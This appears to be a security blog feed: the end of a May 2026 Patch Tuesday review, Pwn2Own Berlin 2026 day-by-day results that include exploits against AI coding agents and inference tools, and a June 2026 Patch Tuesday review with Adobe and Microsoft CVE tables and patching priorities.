CVE-2026-33837	Windows TCP/IP Local Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40415	Windows TCP/IP Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-42825	Windows Telephony Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-34338	Windows Telephony Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40382	Windows Telephony Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40380	Windows Volume Manager Extension Driver Remote Code Execution Vulnerability	Important	6.2	No	No	RCE
CVE-2026-40408	Windows WAN ARP Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34333	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34347	Windows Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-35417	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42891	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Moderate	6.5	No	No	Spoofing
CVE-2026-35429	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Moderate	4.3	No	No	Spoofing
CVE-2026-41107	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Moderate	7.4	No	No	Info
CVE-2026-40416	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Low	4.3	No	No	Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this month’s release, there are quite a few scary-looking bugs (including a CVSS 10!), but there’s no action for the end user as Microsoft has already mitigated these bugs and is just now documenting them. There’s also this month’s crop of Office bugs where the Preview Pane is an attack vector. However, the bug in Office for Android does not have the Preview Pane vector; it’s simple open and own. The bug in the WiFi driver needs a network adjacent attacker. The SharePoint bug requires authentication, but anyone with site privileges has the authentication needed. The bug in SSO Plugin for Jira & Confluence should really be called an authentication bypass, since it allows an unauthenticated attacker to gain access to a system.

Looking at the other code execution bugs, most are of the open and own variety as expected. The bug in Dynamic 365 (On Prem) requires high privileges. The Message Queueing bug requires an adjacent attacker. The bug in SQL Server requires authentication, but as usual, patching won’t be straightforward. Finally, there’s a bug in the kernel that leads to code execution. Most kernel bugs are privilege escalations, but this one could allow code execution if an attacker sends specially crafted NVMe over Fabrics (NVMe‑oF) response messages during the connection handshake process that contains an invalid header length value. Neat.

As usual, the vast majority of the Microsoft release fixes Elevation of Privilege (EoP) bugs. Also as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. There are also a few bugs that just state the attacker could “gain ELEVATED privileges.” How obtuse. The bugs in Azure allow an attacker to access data otherwise hidden from them. The Edge bug allows threat actors to elevate to the privileges of the running application. The bug in Visual Studio allows attackers to get permissions associated with the MCP Server’s managed identity. Finally, there are a couple of sandbox escapes, too, which are always useful.

This month's update includes six Security Feature Bypass vulnerabilities. The most severe is in the Azure SDK for Java (CVSS 9.1). An attacker over the network can bypass the integrity protection provided by authentication tags on encrypted data, effectively manipulating encrypted input in a way that slips past integrity checks during decryption. Close behind is the bypass affecting the GitHub Copilot integration in Visual Studio Code (CWE-74). This one requires a user interaction, but it allows an attacker to circumvent the path validation safeguards that normally control which files Copilot is permitted to modify. The other Visual Studio Code bypass involves cross-site scripting, improper link resolution, and information exposure triggered when a user opens or views a maliciously crafted notebook. On the Windows networking side there are two bypasses. The first hits the Windows TCP/IP driver via an authentication bypass using an alternate channel. The other impacts the Windows Filtering Platform through improper access control, allowing a local, low-privileged attacker to bypass FQDN-based network security rules. Finally, there’s a Secure Boot bypass that, you guessed it, bypasses secure boot features.

Moving on to the Information Disclosure bugs fixed this month, we have 15 different CVEs. As usual, the majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The bug in Power Automate could expose data marked “Sensitive” within Power Automate Desktop flows. One of the Word bugs could disclose NLTM hashes. The bug in Edge could disclose your cookies, which seems rude. The bug in Visual Studio could expose file path information. Finally, there’s a bug in Telnet for Windows 11 that leaks information being used by Telnet at the time. I didn’t even realize Windows 11 still had a telnet client.

The May release contains 10 spoofing bugs (plus the ones already addressed by Microsoft). The bug in Azure Machine Learning Notebooks vulnerability requires user interaction, but it could expose info through the Azure ML web interface to the attacker. There’s a cluster of fixes for Microsoft's mobile Office suite on Android. Excel, Word, and PowerPoint for Android all carry spoofing flaws rooted in improper access control. Two Copilot products are also affected by spoofing vulns. The M365 Copilot for Desktop has no details provided. The M365 Copilot for Android variant requires low privileges and producing only limited impact on confidentiality and integrity. Microsoft Teams for Android rounds out the mobile app spoofing bugs. Three Edge bugs close things out, all involving misrepresentation of information in the browser UI.

There are two Tampering bugs in this month’s release. The one in .NET Core allows threat actors to write files to an affected system. The other is in Outlook for iOS and manifests as a command injection bug.

There are eight DoS bugs in the May release, but as always, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting from a practical standpoint are two TCP/IP bugs that allow a low-privilege Hyper-V guest to crash the host. Both are triggered from the adjacent network. On the broader network-exposure side, the ASP.NET Core bug is a straightforward infinite loop condition — an unauthenticated attacker sends a crafted request over the network and the server stops responding.

No new advisories are being released this month.

Looking Ahead

Assuming I survive Pwn2Own Berlin (which is looking iffy at the moment), I’ll return on June 9th on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

Pwn2Own Berlin 2026 - Day Two Results

Sat, 25 Jul 2026 19:02:55 +0200

Day Two of Pwn2Own Berlin 2026 and the stakes continue to rise! Security researchers are back on the Pwn2Own stage, pushing enterprise systems to their limits as the competition heats up. More exploits, more surprises, and more standout moments are unfolding, so follow along here for live updates as the race for Master of Pwn intensifies. There were plenty of big targets on the schedule today, including SharePoint, Exchange, and Safari.

Following an action-packed Day One where $523,000 was awarded for 24 unique 0-day vulnerabilities, Day Two added another $385,750 and 15 unique 0-days, bringing event totals to $908,750 with 39 unique vulnerabilities overall. DEVCORE holds a commanding lead for Master of Pwn with 40.5 points and $405,000, but with one day still to go, anything can happen. Here are the standings as of Day Two but we'll see what the final day of the contest brings. Stay tuned!

We’ll be posting real-time updates and results throughout the competition right here on our blog and across social media. Stay up to date by following us on Twitter, Mastodon, LinkedIn, and Bluesky, and join the conversation using #Pwn2Own Berlin and #P2OBerlin for continuous coverage.

FAILURE - Unfortunately, Tao Yan & Edouard Bochin of Palo Alto Networks could not get their exploit of Apple Safari – Renderer Only working within the time allotted.

FAILURE - Unfortunately, Stephen Fewer of Rapid7 could not get their exploit of Microsoft SharePoint working within the time allotted.

SUCCESS - Ben Koo (@kiddo_pwn) of Team DDOS used a use-after-free bug to escalate privileges on Red Hat Enterprise Linux for Workstations in the second round, earning $10,000 and 1 Master of Pwn point.

SUCCESS - Dialed in! Nikolaos Mourousias (@deltaclock), Caue Obici (@caueobici) & Bruno Halltari (@BrunoModificato) of OtterSec used a Code Injection bug to exploit LM Studio in the second round, earning $20,000 and 4 Master of Pwn points. Full win!

COLLISON - Although successful on stage, Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) targeting Claude Desktop in the Coding Agent category used a bug that was previously known. They still earn $10,000 and 2 Master of Pwn points.

SUCCESS - Le Duc Anh Vu (@vulda17) of Viettel Cyber Security (@vcslab) exploited Cursor, earning $30,000 and 3 Master of Pwn points. Full win!

WITHDRAWAL - Kiyong Kwak of Kakaogames and Song Nuri of Samsung Electronics has withdrawn their entry for Apple Safari – Renderer Only in the Web Browser category.

FAILURE - Unfortunately, Ruitong of Abstract Team, University of Colorado Boulder could not get their exploit of Red Hat Enterprise Linux for Workstations working within the time allotted.

SUCCESS - Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) exploited OpenAI Codex in the second round, earning $20,000 and 4 Master of Pwn points.

COLLISON - Although successful on stage, Billy (@st424204), Bruce Chen (@bruce30262), Pan Zhenpeng (@Peterpan980927) & Weiming Shi (@bestswngs) of STARLabs SG (@starlabs_sg) targeting NVIDIA Megatron Bridge used a bug that was previously known. They still earn $2,500 and 1 Master of Pwn point.

WITHDRAWAL - Alon Ben Tsur (@iamgweej), Yahav Azran (@_yahav) have withdrawn their entry for Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category.

SUCCESS - Orange Tsai (@orange_8361) of DEVCORE Research Team chained 3 bugs to achieve Remote Code Execution as SYSTEM on Microsoft Exchange, earning $200,000 and 20 Master of Pwn points.

SUCCESS / COLLISON - David Tae & Louis Hur of Out Of Bounds targeted Ollama, hitting a one-vulnerability collision with a previous attempt and earning $28,000 and 3 Master of Pwn points.

FAILURE - Nguyen Thanh Dat (@rewhiles) of Viettel Cyber Security (@vcslab) could not get their exploit of Mozilla Firefox – Renderer Only working within the time allotted.

SUCCESS - Cyrill Bannwart, Emanuele Barbeno, Yves Bieri, Lukasz D., Urs Mueller (@compasssecurity) of Compass Security exploited Cursor in the second round, earning $15,000 and 3 Master of Pwn points.

SUCCESS - Siyeon Wi used an integer overflow bug to escalate privileges on Microsoft Windows 11 in the fourth round, earning $7,500 and 3 Master of Pwn points.

SUCCESS / COLLISON - Byung Young Yi (@yibarrack) of Out Of Bounds targeted LiteLLM, hitting a one-vulnerability collision with a previous attempt and earning $17,750 and 3.75 Master of Pwn points.

SUCCESS - Confirmed! 0xDACA (@0xDACA) & Noam Trobishi (@NTrobishi) used a use-after-free bug to exploit NV Container Toolkit in the second round, earning $25,000 and 5 Master of Pwn points.

Pwn2Own Berlin 2026 - Day One Results

Sat, 25 Jul 2026 19:02:55 +0200

Welcome to Day One of Pwn2Own Berlin 2026! Today, 22 entries took the Pwn2Own stage to target AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products, as the world’s top security researchers push technology to its limits. Exploits, surprises, and breakthrough discoveries are unfolding.

After Day One, we awarded $523,000 for 24 unique 0-days! DEVCORE is currently in the lead for Master of Pwn, but a pack of teams are right on their heels. Stay tuned tomorrow for more results and surprises.

FAILURE - Unfortunately, Le Duc Anh Vu (@vulda17) of Viettel Cyber Security (@vcslab) could not get their exploit of OpenAI Codex working within the time allotted.

SUCCESS - Orange Tsai (@orange_8361) of DEVCORE Research Team (@d3vc0r3) chained 4 logic bugs to achieve a sandbox escape on Microsoft Edge, earning $175,000 and 17.5 Master of Pwn points.

SUCCESS - chompie of IBM X-Force Offensive Research (XOR) used a single bug to exploit NV Container Toolkit, earning $50,000 and 5 Master of Pwn points.

SUCCESS - k3vg3n chained 3 bugs including SSRF and Code Injection to take down LiteLLM. $40,000 and 4 Master of Pwn points. Full win.

SUCCESS - Satoki Tsuji (@satoki00) of Ikotas Labs, Inc. used an Overly Permissive Allowed List bug to exploit NVIDIA Megatron Bridge, earning $20,000 and 2 Master of Pwn points.

FAILURE - Unfortunately, Park Jae Min could not get their exploit of Oracle Autonomous AI Database working within the time allotted. #Pwn2Own #P2OBerlin

SUCCESS - Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) used a single CWE-150 bug to exploit OpenAI Codex, earning $40,000 and 4 Master of Pwn points.

SUCCESS - Angelboy (@scwuaptx) & TwinkleStar03 (@_twinklestar03) of DEVCORE Research Team used an Improper Access Control bug to escalate privileges on Microsoft Windows 11, earning $30,000 and 3 Master of Pwn points.

WITHDRAWAL - Ben Koo (@kiddo_pwn) of Team DDOS has withdrawn their entry for Mozilla Firefox – Renderer Only in the Web Browser category

FAILURE - Unfortunately, Interrupt Labs could not get their exploit of NV Container Toolkit working within the time allotted

COLLISON - Although successful on stage, the Ikotas Labs, Inc. team targeting LiteLLM in the Local Inference category used bugs that were previously known. They still earn $8,000 and 1.75 Master of Pwn points.

SUCCESS - Yoseop Kim (@pwning_me) used a CWE-470 bug to exploit NVIDIA Megatron Bridge in the second round, earning $10,000 and 2 Master of Pwn points.

COLLISON - Although successful on stage, maitai (@MaitaiThe) of Doyensec (@Doyensec) targeting OpenAI Codex in the Coding Agent category used a bug that was previously known to the vendor. They still earn $10,000 and 2 Master of Pwn points.

WITHDRAWAL - Yoseop Kim(@pwning_me) has withdrawn their entry for Mozilla Firefox – Renderer Only in the Web Browser category

SUCCESS - haehae (@haehaeYang) of Out Of Bounds chained 2 bugs (CWE-190, CWE-362) to exploit Chroma, earning $20,000 and 2 Master of Pwn points.

SUCCESS - Billy (@st424204), Pan Zhenpeng (@Peterpan980927) & Weiming Shi (@bestswngs) of STARLabs SG (@starlabs_sg) chained 5 bugs (incl. SSRF and Code Injection) to exploit LM Studio, earning $40,000 and 4 Master of Pwn points. Full win!

SUCCESS - Marcin Wiązowski used a heap-based buffer overflow to escalate privileges on Microsoft Windows 11 in the second round, earning $15,000 and 3 Master of Pwn points.

WITHDRAWAL - Qrious Secure (@qriousec) has withdrawn their entry for LM Studio in the Local Inference category.

SUCCESS - Chompie of IBM X-Force Offensive Research (XOR) used a race condition to escalate privileges on Red Hat Enterprise Linux for Workstations, earning $20,000 and 2 Master of Pwn points.

COLLISON - Although successful on stage, Nguyen Thanh Dat (@rewhiles) of Viettel Cyber Security (@vcslab) targeting Anthropic Claude Code in the Coding Agent category used a bug that was previously known to the vendor. They still earn $20,000 and 2 Master of Pwn points

SUCCESS - haehae (@haehaeYang) of Out Of Bounds used a Path Traversal bug to exploit NVIDIA Megatron Bridge in the second round, earning $10,000 and 2 Master of Pwn points. Full win!

SUCCESS - Kentaro Kawane of GMO Cybersecurity by Ierae chained 2 Use-After-Free bugs to escalate privileges on Microsoft Windows 11 in the third round, earning $15,000 and 3 Master of Pwn points.

The June 2026 Security Update Review

Sat, 25 Jul 2026 19:02:53 +0200

I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for June 2026

For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.

Here’s this month’s overview table:

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-66	Adobe Campaign Classic	2	Critical	10.0	No	1
APSB26-64	Adobe ColdFusion	7	Critical	9.6	No	1
APSB26-63	Adobe Acrobat Reader	20	Critical	7.8	No	2
APSB26-57	Adobe Experience Manager Forms	3	Critical	9.3	No	2
APSB26-62	Adobe Dreamweaver	5	Critical	8.6	No	3
APSB26-65	Adobe Format Plugins	2	Critical	7.8	No	3
APSB26-59	Adobe InCopy	3	Critical	7.8	No	3
APSB26-58	Adobe InDesign	12	Critical	7.8	No	3
APSB26-60	Adobe Substance 3D Sampler	4	Critical	7.8	No	3
APSB26-61	Content Credentials SDK	8	Critical	7.5	No	3
APSB26-56	Adobe Experience Manager	57	Important	5.4	No	3
TOTAL	11 bulletins	123

Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.

Microsoft Patches for June 2026

This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.

One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.

I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.

One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.

- CVE-2026-41091 - Microsoft Defender Elevation of Privilege Vulnerability
Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.

- CVE-2026-45657 - Windows Kernel Remote Code Execution Vulnerability
This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.

- CVE-2026-47291 - HTTP.sys Remote Code Execution Vulnerability
Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.

- CVE-2026-44815 - DHCP Client Service Remote Code Execution Vulnerability
Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.

- CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass Vulnerability
If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “bone shattering” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.

Here’s the full list of CVEs released by Microsoft for June 2026:

CVE	Title	Severity	CVSS	Public	Exploited	XI	Type
CVE-2026-41091	Microsoft Defender Elevation of Privilege Vulnerability	Important	7.8	Yes	Yes	0	EoP
CVE-2026-49160	HTTP.sys Denial of Service Vulnerability	Important	7.5	Yes	No	1	DoS
CVE-2026-50507	Windows BitLocker Security Feature Bypass Vulnerability	Important	6.8	Yes	No	1	SFB
CVE-2026-45586	Windows Collaborative Translation Framework (CTFMON) Elevation of Privilege Vulnerability	Important	7.8	Yes	No	1	EoP
CVE-2025-10263 *	ARM: CVE-2025-10263 Completion of affected memory accesses might not be guaranteed by completion of a TLBI [kernel]	Critical	9.3	No	No	2	EoP
CVE-2026-48567	Azure HorizonDB Elevation of Privilege Vulnerability	Critical	10	No	No	N/A	EoP
CVE-2026-32193	Azure Kubernetes Service (AKS) Remote Code Execution Vulnerability	Critical	8.8	No	No	3	RCE
CVE-2026-47644	Copilot Chat (Microsoft Edge) Information Disclosure Vulnerability	Critical	6.5	No	No	2	Info
CVE-2026-44815	DHCP Client Service Remote Code Execution Vulnerability	Critical	9.8	No	No	2	RCE
CVE-2026-47291	HTTP.sys Remote Code Execution Vulnerability	Critical	9.8	No	No	1	RCE
CVE-2026-42824	M365 Copilot Information Disclosure Vulnerability	Critical	6.5	No	No	N/A	Info
CVE-2026-45476	Microsoft Azure Network Adapter Elevation of Privilege Vulnerability	Critical	8.2	No	No	2	EoP
CVE-2026-44810	Microsoft Cryptographic Services Elevation of Privilege Vulnerability	Critical	8.4	No	No	2	EoP
CVE-2026-48579	Microsoft Exchange Online Information Disclosure Vulnerability	Critical	9.1	No	No	N/A	Info
CVE-2026-47655	Microsoft Graph Information Disclosure Vulnerability	Critical	6.5	No	No	N/A	Info
CVE-2026-45497	Microsoft M365 Copilot Remote Code Execution Vulnerability	Critical	7.7	No	No	N/A	RCE
CVE-2026-45460	Microsoft Office Information Disclosure Vulnerability	Critical	4.7	No	No	3	Info
CVE-2026-45472	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45474	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45461	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45463	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45456	Microsoft Outlook and Word Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45458	Microsoft Outlook and Word Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-47635	Microsoft Outlook and Word Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-26142	Nuance PowerScribe Remote Code Execution Vulnerability	Critical	9.8	No	No	2	RCE
CVE-2026-47289	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	2	RCE
CVE-2026-47654	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	3	RCE
CVE-2026-48563	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	2	RCE
CVE-2026-42992	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	2	RCE
CVE-2026-44799	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	2	RCE
CVE-2026-44801	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	2	RCE
CVE-2026-42985	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	1	RCE
CVE-2026-45648	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Critical	8.8	No	No	3	RCE
CVE-2026-42987	Windows Deployment Services (WDS) Remote Code Execution	Critical	8.1	No	No	2	RCE
CVE-2026-33828	Windows Device Health Attestation (DHA) Elevation of Privilege Vulnerability	Critical	7.8	No	No	3	EoP
CVE-2026-44803	Windows Graphics Component Remote Code Execution Vulnerability	Critical	7.8	No	No	1	RCE
CVE-2026-44812	Windows Graphics Component Remote Code Execution Vulnerability	Critical	7.8	No	No	1	RCE
CVE-2026-45607	Windows Hyper-V Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45641	Windows Hyper-V Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-47652	Windows Hyper-V Remote Code Execution Vulnerability	Critical	8.2	No	No	2	RCE
CVE-2026-47288	Windows Kerberos Key Distribution Center (KDC) Remote Code Execution	Critical	7.1	No	No	3	RCE
CVE-2026-45657	Windows Kernel Remote Code Execution Vulnerability	Critical	9.8	No	No	2	RCE
CVE-2026-48574	Windows Media Remote Code Execution Vulnerability	Critical	7.8	No	No	2	RCE
CVE-2026-45490	.NET SDK Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45491	.NET Tampering Vulnerability	Important	6.2	No	No	3	Tampering
CVE-2026-45591	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	2	DoS
CVE-2026-47643	Azure Stack Edge Remote Code Execution Vulnerability	Important	9.8	No	No	3	RCE
CVE-2026-41098	Azure Stack Edge Spoofing Vulnerability	Important	8.4	No	No	2	Spoofing
CVE-2026-45642	Microsoft Azure Attestation service and Device Health Attestation Service Spoofing Vulnerability	Important	3.9	No	No	2	Spoofing
CVE-2026-45650	Microsoft Bing Search Spoofing Vulnerability	Important	4.3	No	No	2	Spoofing
CVE-2026-45637	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45647	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Important	5.5	No	No	2	EoP
CVE-2026-40371	Microsoft Dynamics 365 (on-premises) Elevation of Privilege Vulnerability	Important	8.8	No	No	2	EoP
CVE-2026-44822	Microsoft Excel Information Disclosure Vulnerability	Important	8.2	No	No	3	Info
CVE-2026-45455	Microsoft Excel Information Disclosure Vulnerability	Important	3.3	No	No	2	Info
CVE-2026-45469	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-44817	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	3	RCE
CVE-2026-44818	Microsoft Excel Remote Code Execution Vulnerability	Important	7	No	No	2	RCE
CVE-2026-44820	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-44823	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45459	Microsoft Excel Security Feature Bypass Vulnerability	Important	3.3	No	No	2	SFB
CVE-2026-45504	Microsoft Exchange Server Elevation of Privilege Vulnerability	Important	8.8	No	No	3	EoP
CVE-2026-45502	Microsoft Exchange Server Information Disclosure Vulnerability	Important	5	No	No	3	Info
CVE-2026-45503	Microsoft Exchange Server Information Disclosure Vulnerability	Important	8.1	No	No	3	Info
CVE-2026-45583	Microsoft Exchange Server Remote Code Execution Vulnerability	Important	7.5	No	No	2	RCE
CVE-2026-45500	Microsoft Exchange Server Spoofing Vulnerability	Important	6.1	No	No	2	Spoofing
CVE-2026-45501	Microsoft Exchange Server Spoofing Vulnerability	Important	6.5	No	No	2	Spoofing
CVE-2026-47631	Microsoft Exchange Server Spoofing Vulnerability	Important	8.1	No	No	2	Spoofing
CVE-2026-42986	Microsoft Graphics Component Elevation of Privilege Vulnerability	Important	7.8	No	No	1	EoP
CVE-2026-41092	Microsoft Kinect Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45644	Microsoft Live Share Canvas SDK Elevation of Privilege Vulnerability	Important	8	No	No	2	EoP
CVE-2026-47293	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45485	Microsoft Office Information Disclosure Vulnerability	Important	3.3	No	No	2	Info
CVE-2026-44821	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45483	Microsoft Office Project Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45475	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-44819	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-44824	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45645	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-49161	Microsoft PC Manager Security Feature Bypass Vulnerability	Important	7.8	No	No	3	SFB
CVE-2026-42902	Microsoft PowerToys Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45484	Microsoft SharePoint Elevation of Privilege Vulnerability	Important	8.8	No	No	2	EoP
CVE-2026-45454	Microsoft SharePoint Remote Code Execution Vulnerability	Important	6.5	No	No	2	RCE
CVE-2026-47298	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8	No	No	2	RCE
CVE-2026-45467	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45468	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45479	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45453	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-47636	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-47637	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-47638	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-47639	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	3	Spoofing
CVE-2026-47641	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-33113	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-45462	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45464	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-45465	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-47634	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	1	Spoofing
CVE-2026-47640	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	3	Spoofing
CVE-2026-45481	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	1	Spoofing
CVE-2026-48560	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-48562	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-42835	Microsoft Teams for Android Information Disclosure Vulnerability	Important	8.1	No	No	2	Info
